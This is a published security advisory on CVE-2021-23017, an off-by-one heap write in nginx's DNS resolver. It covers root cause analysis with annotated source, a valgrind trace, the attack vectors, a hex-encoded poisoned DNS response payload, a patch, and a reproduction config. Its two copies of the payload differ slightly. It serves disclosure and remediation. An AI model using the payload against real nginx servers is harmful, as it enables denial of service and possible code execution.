

# NEWS

## Advisory X41-2021-002: nginx DNS Resolver Off-by-One Heap Write Vulnerability

**Severity Rating:**  
High

**Confirmed Affected Versions:**  
0.6.18 - 1.20.0

**Confirmed Patched Versions:**  
1.21.0, 1.20.1

**Vendor:**  
F5, Inc.

**Vendor URL:**  
<https://nginx.org/>

**Vendor Reference:**  
<https://mailman.nginx.org/pipermail/nginx-announce/2021/000300.html>

**Vector:**  
Remote / DNS

**Credit:**  
X41 D-SEC GmbH, Luis Merino, Markus Vervier, Eric Sesterhenn

**Status:**  
Public

**CVE:**  
CVE-2021-23017

**CWE:**  
193

**CVSS Score:**

## Advisory-URL:

<https://www.x41-dsec.de/lab/advisories/x41-2021-002-nginx-resolver-copy/>

## Summary and Impact

An off-by-one error in `ngx_resolver_copy()` while processing DNS responses allows a network attacker to write a dot character (., 0x2E) out of bounds in a heap allocated buffer. The vulnerability can be triggered by a DNS response in reply to a DNS request from nginx when the resolver primitive is configured. A specially crafted packet allows overwriting the least significant byte of next heap chunk metadata with 0x2E. A network attacker capable of providing DNS responses to a nginx server can achieve Denial-of-Service and likely remote code execution.

Due to the lack of DNS spoofing mitigations in nginx and the fact that the vulnerable function is called before checking the DNS Transaction ID, remote attackers might be able to exploit this vulnerability by flooding the victim server with poisoned DNS responses in a feasible amount of time.

## Root Cause Analysis

nginx DNS resolver (core/ngx\_resolver.c) is used to resolve hostnames via DNS for several modules when the resolver primitive is set.

`ngx_resolver_copy()` is called to validate and decompress each DNS domain name contained in a DNS response, receiving the network packet as input and a pointer to the name being processed, and returning a pointer to a newly allocated buffer containing the uncompressed name on success. This is done in two steps,

- 1) The uncompressed domain name size `len` is calculated and the input packet is validated, discarding names containing more than 128 pointers or containing pointers that fall out of the input buffer boundaries.
- 2) An output buffer is allocated, and the uncompressed name is copied into it.

A mismatch between size calculation in part 1 and name decompression in part 2 leads to an off-by-one error in `len`, allowing to write a dot character one byte off `name->data` boundaries.

The miscalculation happens when the last part of the compressed name contains a pointer to a NUL byte. While the calculation step only accounts dots between labels, the decompression step writes a dot character every time a label has been processed and next character is not NUL. When a label is followed by a pointer that leads to a NUL byte, the decompression procedure will:

```
// 1) copy the label to the output buffer,  
ngx_strlow(dst, src, n);
```

```
// 3) as its a pointer, its not NUL,
    if (n != 0) {
// 4) so a dot character that was not accounted for is written out of bounds
    *dst++ = '.';
    }

// 5) Afterwards, the pointer is followed,
    if (n & 0xc0) {
        n = ((n & 0x3f) << 8) + *src;
        src = &buf[n];

        n = *src++;
    }

// 6) and a NULL byte is found, signaling the end of the function
    if (n == 0) {
        name->len = dst - name->data;
        return NGX_OK;
    }
```

If the calculated size happens to align with the heap chunk size, the dot character, written out of bounds, will overwrite the least significant byte of next heap chunk size metadata. This might modify the size of the next heap chunk, but also overwrite 3 flags, resulting in **PREV\_INUSE** being cleared and **IS\_MMAPPED** being set.

```
==7863== Invalid write of size 1
==7863==    at 0x137C2E: ngx_resolver_copy (ngx_resolver.c:4018)
==7863==    by 0x13D12B: ngx_resolver_process_a (ngx_resolver.c:2470)
==7863==    by 0x13D12B: ngx_resolver_process_response (ngx_resolver.c:184)
==7863==    by 0x13D46A: ngx_resolver_udp_read (ngx_resolver.c:1574)
==7863==    by 0x14AB19: ngx_epoll_process_events (ngx_epoll_module.c:901)
==7863==    by 0x1414D4: ngx_process_events_and_timers (ngx_event.c:247)
==7863==    by 0x148E57: ngx_worker_process_cycle (ngx_process_cycle.c:719)
==7863==    by 0x1474DA: ngx_spawn_process (ngx_process.c:199)
==7863==    by 0x1480A8: ngx_start_worker_processes (ngx_process_cycle.c:3)
==7863==    by 0x14952D: ngx_master_process_cycle (ngx_process_cycle.c:136)
==7863==    by 0x12237F: main (nginx.c:383)
==7863== Address 0x4bbcfb8 is 0 bytes after a block of size 24 alloc'd
==7863==    at 0x483E77F: malloc (vg_replace_malloc.c:307)
==7863==    by 0x1448C4: ngx_alloc (ngx_alloc.c:22)
==7863==    by 0x137AE4: ngx_resolver_alloc (ngx_resolver.c:4119)
==7863==    by 0x137B26: ngx_resolver_copy (ngx_resolver.c:3994)
==7863==    by 0x13D12B: ngx_resolver_process_a (ngx_resolver.c:2470)
==7863==    by 0x13D12B: ngx_resolver_process_response (ngx_resolver.c:184)
==7863==    by 0x13D46A: ngx_resolver_udp_read (ngx_resolver.c:1574)
==7863==    by 0x14AB19: ngx_epoll_process_events (ngx_epoll_module.c:901)
==7863==    by 0x1414D4: ngx_process_events_and_timers (ngx_event.c:247)
==7863==    by 0x148E57: ngx_worker_process_cycle (ngx_process_cycle.c:719)
```

- Chrome OS exploit: one byte overflow and symlinks  
<https://googleprojectzero.blogspot.com/2016/12/chrome-os-exploit-one-byte-overflow-and.html>
- Project Zero’s Poisoned NULL Byte  
<https://googleprojectzero.blogspot.com/2014/08/the-poisoned-nul-byte-2014-edition.html>
- Hiroki Matsukama’s House of Einherjar  
[https://www.slideshare.net/codeblue\\_jp/cb16-matsukuma-en-68459606](https://www.slideshare.net/codeblue_jp/cb16-matsukuma-en-68459606)  
<https://www.youtube.com/watch?v=tq3mPjsl-HO>

Given the rich interaction opportunities in nginx with user controller data and the documented precedents this bug is considered exploitable for remote code execution on some operating systems and architectures.

# Attack Vector Analysis

There are several ways in which a DNS response can trigger the vulnerability.

First, nginx must have sent a DNS request and must be waiting for a response.

Then, a poisoned name can be injected in several parts of a DNS response:

- DNS Questions QNAME,
- DNS Answers NAME,
- DNS Answers RDATA for CNAME and SRV responses,

Keep in mind that the vulnerable function can be hit several times while processing a response, effectively performing several off-by-one writes, by crafting a response with several poisoned QNAME, NAME or RDATA values.

Furthermore, when the attacker delivers a poisoned CNAME, it will be resolved recursively, triggering an additional OOB write during `ngx_resolve_name_locked()` call to `ngx_strlow()` (ngx\_resolver.c:594) and additional OOB reads during `ngx_resolver_dup()` (ngx\_resolver.c:790) and `ngx_crc32_short()` (ngx\_resolver.c:596).

An example payload of DNS response for a ‘example.net’ request, containing a poisoned CNAME:

```
bcb8818000010001000000000076578616d706c655036e657400001c0001c00c000500010000
^
NULL byte <------
```

bcb881800001000100000000076578616d706c65036e657400001c0001c00c000500010000

A 24 bytes label leads to a 24 bytes buffer allocated, which is filled with 24 bytes + an out of bounds dot character.

## Fix / Workarounds

Allocating an extra byte for the spurious dot character written at the end of the poisoned domain names mitigates the issue.

```
--- ngx_resolver.c      2021-04-06 15:59:50.293734070 +0200
+++ src/nginx-1.19.8/src/core/nginx_resolver.c      2021-04-06 15:54:10.232975
@@ -3943,7 +3928,7 @@
     ngx_uint_t    i, n;

     p = src;
-    len = -1;
+    len = 0;

     /*
      * compression pointers allow to create endless loop, so we set limit
@@ -3986,7 +3971,7 @@
         return NGX_OK;
     }

-    if (len == -1) {
+    if (len == 0) {
         ngx_str_null(name);
         return NGX_OK;
     }
```

## Proof-of-Concept

A dummy DNS server delivering a poisoned payload that triggers this vulnerability can be downloaded from <https://github.com/x41sec/advisories/blob/master/X41-2021-002/poc.py>

The described vulnerability can be tested by running nginx with the provided config as follows under [valgrind](#):

```
valgrind --trace-children=yes objs/nginx -p ../runtime -c conf/reverse-pro
```

and trigger a request to the server:

```
curl http://127.0.0.1:8080/
```

Depending on the heap layout when the bug triggers, the malloc mitigations might detect or not the effect. Several ways of showing up in the logs arise:

```
corrupted size vs. prev_size
2021/04/16 13:35:15 [alert] 2501#0: worker process 2502 exited on signal 6
malloc(): invalid next size (unsorted)
2021/04/16 13:35:34 [alert] 2525#0: worker process 2526 exited on signal 6
```

Nevertheless, valgrind and AdressSanitizer will always detect the memory corruption.

## nginx Config Used

```
daemon off;

http{
    access_log logs/access.log;
    server{
        listen 8080;
        location / {
            resolver 127.0.0.1:1053;
            set $dns http://example.net;
            proxy_pass $dns;
        }
    }
}

events {
    worker_connections 1024;
}
```

## Timeline

- 2021-04-30  
Issue reported to maintainers
- 2021-05-17  
Issue reported to distros mailing list

Public disclosure

# About X41 D-SEC GmbH

X41 is an expert provider for application security services. Having extensive industry experience and expertise in the area of information security, a strong core security team of world class security experts enables X41 to perform premium security services.

Fields of expertise in the area of application security are security centered code reviews, binary reverse engineering and vulnerability discovery. Custom research and IT security consulting and support services are core competencies of X41.

Author: Luis Merino, Markus Vervier, Eric Sesterhenn  
Date: May 25, 2021

« [QR Code reconstruction](#)

[Kick-off Pet-HMR](#) »

## CONTACT

X41 D-Sec GmbH  
Krefelder Str. 123  
52070 Aachen

+49 (0) 241 9809418-0  
+49 (0) 241 9809418-9  
info@x41-dsec.de

PGP Key

## CONNECT



Github



Mastodon



Twitter



LinkedIn

## FAQ

Partners

Terms of Use

Privacy

Imprint